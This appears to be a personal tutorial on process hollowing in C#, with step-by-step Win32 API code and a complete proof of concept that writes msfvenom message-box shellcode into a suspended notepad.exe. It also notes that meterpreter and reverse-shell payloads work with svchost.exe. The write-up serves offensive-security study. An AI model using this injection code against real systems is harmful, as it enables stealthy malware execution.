Process Hollowing

Process Hollowing

General Information / Brief

Wrote this mainly as a self-note on my Certification Name Redacted journey and hope publication will be useful (or make sense) to others.

Scope

Process hollowing is a known and still used technique (MITRE/Process Injection: Process Hollowing) of spawning a new, legitimate and often to-appears-less-suspicious process - then injecting shellcode into process. Operating procedures by using Win32 API's functions can be done in the following order.

  • Start process in suspended state.
  • Query the PEB or Process Environment Block of the target process.
  • Read x amount (target architecture depended) of bytes pointed by the image base address pointer to get the actual value of the image base address.
  • Read the first 0x200 bytes of memory to analyze the remote process PE header and parse the PE header structure to get the address of addressOfEntryPoint.
  • Write shellcode to memory with address pointer to addressOfEntryPoint.
  • Exit suspended state, resuming execution - starting at address pointer to addressOfEntryPoint.

Original objective of this task was to use PE file svchost.exe to inject shellcode, but due to the use of msfvenom msgbox shellcode - developer ran into issues (both x86 and x64) of message box not spawning. Developer will instead use notepad.exe in place, but note meterpreter and reverse shell with correct target architecture works successfully with svchost.exe and encourage reader to experiment in own lab.

Due to Microsoft massive maze of documentation on Win32 API and unless it's in scope for requiring explanation, each argument details will be skipped as reader can check documentation for reference.

CreateProcess API

CreateProcess API can be use to start a process. In this task - concept will be used to start a process in a suspended state.

  • Dll Import Pinvoke CreateProcessW
  • Developer needs to modify DLL Import. e.g. CreateProcessW -> CreateProcess.
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(
    string lpApplicationName, 
    string lpCommandLine,
    IntPtr lpProcessAttributes, 
    IntPtr lpThreadAttributes, 
    bool bInheritHandles,
    uint dwCreationFlags, 
    IntPtr lpEnvironment, 
    string lpCurrentDirectory,
    [In] ref STARTUPINFO lpStartupInfo, 
    out PROCESS_INFORMATION lpProcessInformation
);

The 9th parameter requires the STARTUPINFO structure from Pinvoke/StartupInfo (Structures)).

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
struct STARTUPINFO
{
    public Int32 cb;
    public IntPtr lpReserved;
    public IntPtr lpDesktop;
    public IntPtr lpTitle;
    public Int32 dwX;
    public Int32 dwY;
    public Int32 dwXSize;
    public Int32 dwYSize;
    public Int32 dwXCountChars;
    public Int32 dwYCountChars;
    public Int32 dwFillAttribute;
    public Int32 dwFlags;
    public Int16 wShowWindow;
    public Int16 cbReserved2;
    public IntPtr lpReserved2;
    public IntPtr hStdInput;
    public IntPtr hStdOutput;
    public IntPtr hStdError;
}

The 10th parameter requires the PROCESS_INFORMATION structure from Pinvoke/PROCESS_INFORMATION (Structures)).

[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
    public IntPtr hProcess;
    public IntPtr hThread;
    public int dwProcessId;
    public int dwThreadId;
}

Create process, then set process in suspended state with CREATE_SUSPENDED or 0x4. In this example - developer used PE file notepad.exe.

// Process start:
string startProc = "C:\\Windows\\System32\\notepad.exe";

// CreateProcess()
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool res = CreateProcess(null, startProc, IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);
Console.WriteLine("[1] Created suspended '{0}' with ProcId {1}", startProc, pi.dwProcessId);
ResumeThread API

ResumeThread API can be used to exit suspended state and continue execution.

[DllImport("kernel32.dll", SetLastError = true)]
static extern uint ResumeThread(IntPtr hThread);

Calling ResumeThread only requires the handle (or declared name) of the thread to resume.

// ResumeThread()
ResumeThread(pi.hThread);
Console.WriteLine("[7] Resume Thread.");

Execution (Flow Chart):
FC_1-2

Proof-of-Concept Skeleton (Main):

Skeleton main to start the process, output the process ID and resume process. Skeleton main was developed for reader to insert each function/method and follow along step by step during each debug output. (Optional to use preprocessor directives, readers choice.)

static void Main(string[] args)
{
     // Process start
     string startProc = "C:\\Windows\\System32\\notepad.exe";

     // CreateProcess()
     STARTUPINFO si = new STARTUPINFO();
     PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
     bool res = CreateProcess(null, startProc, IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);
     Console.WriteLine("[1] Created/Suspended '{0}' with ProcId {1}", startProc, pi.dwProcessId);

     // -- INSERT HERE --

     // ResumeThread()
     ResumeThread(pi.hThread);
     Console.WriteLine("[7] Resume Thread.");
}
ZwQueryInformationProcess API

While target process is in suspended state, developer can use ZwQueryInformationProcess API to query the PEB or Process Environment Block of the target process.

[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(
    IntPtr hProcess,
    int procInformationClass,
    ref PROCESS_BASIC_INFORMATION procInformation,
    uint ProcInfoLen,
    ref uint retlen
);

The second parameter requires a enum value from procInformationClass - if developer set this to ProcessBasicInformation (numerical representation of 0), then third parameter requires the PROCESS_BASIC_INFORMATION structure from Pinvoke/PROCESS_BASIC_INFORMATION (Structures) (e.g. Used 3rd choice:C# Alt Alt Definition)

[StructLayout(LayoutKind.Sequential)]
struct PROCESS_BASIC_INFORMATION
{
    public IntPtr Reserved1;
    public IntPtr PebAddress;
    public IntPtr Reserved2;
    public IntPtr Reserved3;
    public IntPtr UniquePid;
    public IntPtr MoreReserved;
}

With newly suspended process created, developer can use ZwQueryInformationProcess API to query the created process to extract information from the PEB (Process Environment Block) of the target process - including the pointer to the process PEB address.

// ZwQueryInformationProcess()
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
Console.WriteLine("[2] PEB Address -> Pointer: 0x{0}", bi.PebAddress.ToString("X"));

The base address (Base address of Image) of the executable is at offset 0x10 bytes into the PEB. Before reading the base address (Base address of Image) - create integer pointer variable ptrToImageBaseAddress and set PEB address pointer to include offset 0x10.

IntPtr ptrToImageBaseAddress = (IntPtr)((Int64)bi.PebAddress + 0x10);
Console.WriteLine("[3] ImageBaseAddress of {0} -> Pointer: 0x{1}", startProc, ptrToImageBaseAddress.ToString("X"));

Execution (Flow Chart):
FC_2-1

ReadProcessMemory API (Image Base Address)

While ZwQueryInformationProcess API can be used to query the PEB or Process Environment Block of the target process for the pointer to the base address (Base address of Image) of the executable, it cannot be use to read remote process. Developer can use ReadProcessMemory API - which allows to read the memory space locally and to extract data, including values from pointers.

[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(
    IntPtr hProcess,
    IntPtr lpBaseAddress,
    [Out] byte[] lpBuffer,
    int dwSize,
    out IntPtr lpNumberOfBytesRead
);

Developer need to retrieve the address of the code base by reading 8 bytes of memory (for 64-bit architecture) or 4 bytes of memory (for 32-bit architecture) pointed by the image base address pointer (ptrToImageBaseAddress) in order to get the actual value of the image base address.

// ReadProcessMemory() - Image Base Address
// 0x8 (for 64-bit architecture)
// 0x4 (for 32-bit architecture)
// IntPtr.Size (platform-specific or Automatically define)
byte[] addrBuf = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, ptrToImageBaseAddress, addrBuf, addrBuf.Length, out nRead);

As memory is read, return value will result in bytes - which is then converted to a 64-bit integer through the BitConverter.ToInt64 method and casted to a pointer using (IntPtr), which returns value of Image Base Address in 64-bit Integer hex format.

IntPtr ImageBaseAddress = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
Console.WriteLine("[4] ImageBaseAddress (8-byte Buffer Array -> 64-bit Integer): 0x{0}", ImageBaseAddress.ToString("X"));

Execution (Flow Chart):
FC_3-1

ReadProcessMemory API (Entry Point Address)

In order to locate the memory EntryPoint (AddressofEntryPoint) - developer must locate the PE header offset, parse through the PE header to locate offset to AddressofEntryPoint, obtain value of AddressofEntryPoint, and add value to the base address (Base address of Image) for complete memory address of the EntryPoint (AddressofEntryPoint) relating to PE file.

First - developer can use ReadProcessMemory again to read the first 0x200 bytes of memory (MS-/DOS Header) to analyze the remote process PE header (locally) and parse the PE header structure to get the address of addressOfEntryPoint.

PEfbs-1

Reference the following link for structure explanation.

// ReadProcessMemory() - Entry Point Address
byte[] data = new byte[0x200];
ReadProcessMemory(hProcess, ImageBaseAddress, data, data.Length, out nRead);

By analyzing these 0x200 bytes of memory (MS-/DOS Header), developer can find the address of e_lfanew at 0x3c offset - which contains the offset from the beginning of the PE (Image Base Address) to the PE Header.

idh-1

Reference the following link for DOS Header, PE Header, list of offset, structure explanation, etc.

Convert four bytes at offset 0x3C (e_lfanew) to an unsigned integer (variable e_lfanew). Returned result is the offset from the image base (ImageBaseAddress) to the PE header.

uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
Console.WriteLine("[>] e_lfanew (0x3C) -> PE Header offset: 0x{0}", e_lfanew.ToString("X"));

Note:
PE header offset is not static and varies upon PE files.

After obtaining the offset to the PE header, developer can parse through the PE header structure by navigating through to the AddressofEntryPoint at offset 0x28.

idh_os-1

Note:
Anything above offset 0x18 is known as the PE Optional Header (IMAGE_OPTIONAL_HEADER). Though it is named "optional header" - be advise that this is not an optional entry and often always exist in PE executable files.

Developer can obtain the offset to the AddressofEntryPoint (Relative Virtual Address or RVA) located at offset 0x28 from the PE header by adding offset 0x28 to the PE Header offset.

uint entrypointRvaOffset = e_lfanew + 0x28;
Console.WriteLine("[>] PE Header offset -> + 0x28 = 0x{0}", entrypointRvaOffset.ToString("X"));

Convert the four bytes at pointer e_lfanew plus 0x28 into an unsigned integer (variable entrypointRvaOffset). Returned value is the offset from the base address or base address of Image (ImageBaseAddress) to the EntryPoint (AddressofEntryPoint).

uint entrypointRva = BitConverter.ToUInt32(data, (int)entrypointRvaOffset);
Console.WriteLine("[>] EntryPoint Relative Virtual Address (RVA) offset: 0x{0}", entrypointRva.ToString("X"));

The offset from the base address (ImageBaseAddress) of the executable (e.g. notepad.exe) to the EntryPoint (AddressofEntryPoint) is also known as the Relative Virtual Address (RVA) and must be added to the base address (ImageBaseAddress) to obtain the complete memory address of the EntryPoint (AddressofEntryPoint).

IntPtr addressOfEntryPoint = (IntPtr)(entrypointRva + (UInt64)ImageBaseAddress);
Console.WriteLine("[5] Executable: {0} - Entry Point Address: 0x{1}", startProc, addressOfEntryPoint.ToString("X"));

Execution (Flow Chart):
FC_4-1

WriteProcessMemory API

WriteProcessMemory API can be used to write data (shellcode) to an area of memory in a specified process.

[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(
    IntPtr hProcess,
    IntPtr lpBaseAddress,
    byte[] lpBuffer,
    Int32 nSize,
    out IntPtr lpNumberOfBytesWritten
);

Payload used in example outputs "Hello from shellcode" message box.

msfvenom -a x64 -p windows/x64/messagebox Text="Hello from shellcode" EXITFUNC=thread --platform windows -f csharp

Last task - developer can use WriteProcessMemory API to overwrite memory with shellcode and specifying base address pointer (lpBaseAddress) as addressOfEntryPoint and the buffer pointer (lpBuffer) to the shellcode byte array.

// WriteProcessMemory()
WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);
Console.WriteLine("[6] Writing shellcode -> 0x{0}", addressOfEntryPoint.ToString("X"));

Resuming thread now will make the first execution instruction pointed to addressOfEntryPoint - containing the shellcode.

Execution (Flow Chart):
FC_5-1

Execution (Screenshot):
EX_sn-1

Verification can be done with process hacker to check if process is active.

Full Proof-of-Concept
using System;
using System.Runtime.InteropServices;

namespace p_Hollow
{
    class Program
    {
        // CreateProcess -> Struct STARTUPINFO
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
        struct STARTUPINFO
        {
            public Int32 cb;
            public IntPtr lpReserved;
            public IntPtr lpDesktop;
            public IntPtr lpTitle;
            public Int32 dwX;
            public Int32 dwY;
            public Int32 dwXSize;
            public Int32 dwYSize;
            public Int32 dwXCountChars;
            public Int32 dwYCountChars;
            public Int32 dwFillAttribute;
            public Int32 dwFlags;
            public Int16 wShowWindow;
            public Int16 cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        // CreateProcess -> Struct PROCESS_INFORMATION
        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }

        // ZwQueryInformationProcess -> Struct PROCESS_BASIC_INFORMATION
        [StructLayout(LayoutKind.Sequential)]
        struct PROCESS_BASIC_INFORMATION
        {
            public IntPtr Reserved1;
            public IntPtr PebAddress;
            public IntPtr Reserved2;
            public IntPtr Reserved3;
            public IntPtr UniquePid;
            public IntPtr MoreReserved;
        }

        //CreateProcess API
        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
        static extern bool CreateProcess(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            [In] ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation
        );

        // ZwQueryInformationProcess API
        [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
        private static extern int ZwQueryInformationProcess(
            IntPtr hProcess,
            int procInformationClass,
            ref PROCESS_BASIC_INFORMATION procInformation,
            uint ProcInfoLen,
            ref uint retlen
        );

        // ReadProcessMemory API
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool ReadProcessMemory(
            IntPtr hProcess,
            IntPtr lpBaseAddress,
            [Out] byte[] lpBuffer,
            int dwSize,
            out IntPtr lpNumberOfBytesRead
        );

        // WriteProcessMemory API
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool WriteProcessMemory(
            IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            Int32 nSize,
            out IntPtr lpNumberOfBytesWritten
        );

        // ResumeThread API
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern uint ResumeThread(IntPtr hThread);

        static void Main(string[] args)
        {
            // Process start:
            string startProc = "C:\\Windows\\System32\\notepad.exe";

            // CreateProcess()
            STARTUPINFO si = new STARTUPINFO();
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
            bool res = CreateProcess(null, startProc, IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);
            Console.WriteLine("[1] Created suspended '{0}' with ProcId {1}", startProc, pi.dwProcessId);

            // ZwQueryInformationProcess()
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
            uint tmp = 0;
            IntPtr hProcess = pi.hProcess;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
            Console.WriteLine("[2] PEB Address -> Pointer: 0x{0}", bi.PebAddress.ToString("X"));

            IntPtr ptrToImageBaseAddress = (IntPtr)((Int64)bi.PebAddress + 0x10);
            Console.WriteLine("[3] ImageBaseAddress of {0} -> Pointer: 0x{1}", startProc, ptrToImageBaseAddress.ToString("X"));

            // ReadProcessMemory() - Image Base Address
            byte[] addrBuf = new byte[0x8];
            IntPtr nRead = IntPtr.Zero;
            ReadProcessMemory(hProcess, ptrToImageBaseAddress, addrBuf, addrBuf.Length, out nRead);

            IntPtr ImageBaseAddress = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
            Console.WriteLine("[4] ImageBaseAddress (8-byte Buffer Array -> 64-bit Integer): 0x{0}", ImageBaseAddress.ToString("X"));

            // ReadProcessMemory() - Entry Point Address
            byte[] data = new byte[0x200];
            ReadProcessMemory(hProcess, ImageBaseAddress, data, data.Length, out nRead);

            uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
            Console.WriteLine("[>] e_lfanew (0x3C) -> PE Header offset: 0x{0}", e_lfanew.ToString("X"));

            uint entrypointRvaOffset = e_lfanew + 0x28;
            Console.WriteLine("[>] PE Header offset -> + 0x28 = 0x{0}", entrypointRvaOffset.ToString("X"));

            uint entrypointRva = BitConverter.ToUInt32(data, (int)entrypointRvaOffset);
            Console.WriteLine("[>] EntryPoint Relative Virtual Address (RVA) offset: 0x{0}", entrypointRva.ToString("X"));

            IntPtr addressOfEntryPoint = (IntPtr)(entrypointRva + (UInt64)ImageBaseAddress);
            Console.WriteLine("[5] Executable: {0} - Entry Point Address: 0x{1}", startProc, addressOfEntryPoint.ToString("X"));

            // Shellcode:
            // msfvenom -a x64 -p windows/x64/messagebox Text="Hello from shellcode" EXITFUNC=thread --platform windows -f csharp
            byte[] buf = new byte[327] {
                0xfc,0x48,0x81,0xe4,0xf0,0xff,
                0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
                0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
                0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,
                0x50,0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,
                0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,
                0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,
                0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
                0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,
                0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
                0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,
                0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,
                0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
                0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,
                0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,
                0x40,0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,
                0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
                0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
                0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,
                0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0x1a,
                0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x2f,0x01,0x00,0x00,0x48,
                0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,0xbb,0xe0,
                0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,
                0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,
                0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,
                0xd5,0x48,0x65,0x6c,0x6c,0x6f,0x20,0x66,0x72,0x6f,0x6d,0x20,
                0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x00,0x4d,0x65,
                0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00
            };

            // WriteProcessMemory()
            WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);
            Console.WriteLine("[6] Writing shellcode -> 0x{0}", addressOfEntryPoint.ToString("X"));

            // ResumeThread()
            ResumeThread(pi.hThread);
            Console.WriteLine("[7] Resume Thread.");
        }
    }
}

Spelling, errors or any other issues to report. Please - be kind and let me know.

Until then...

spellcheck-1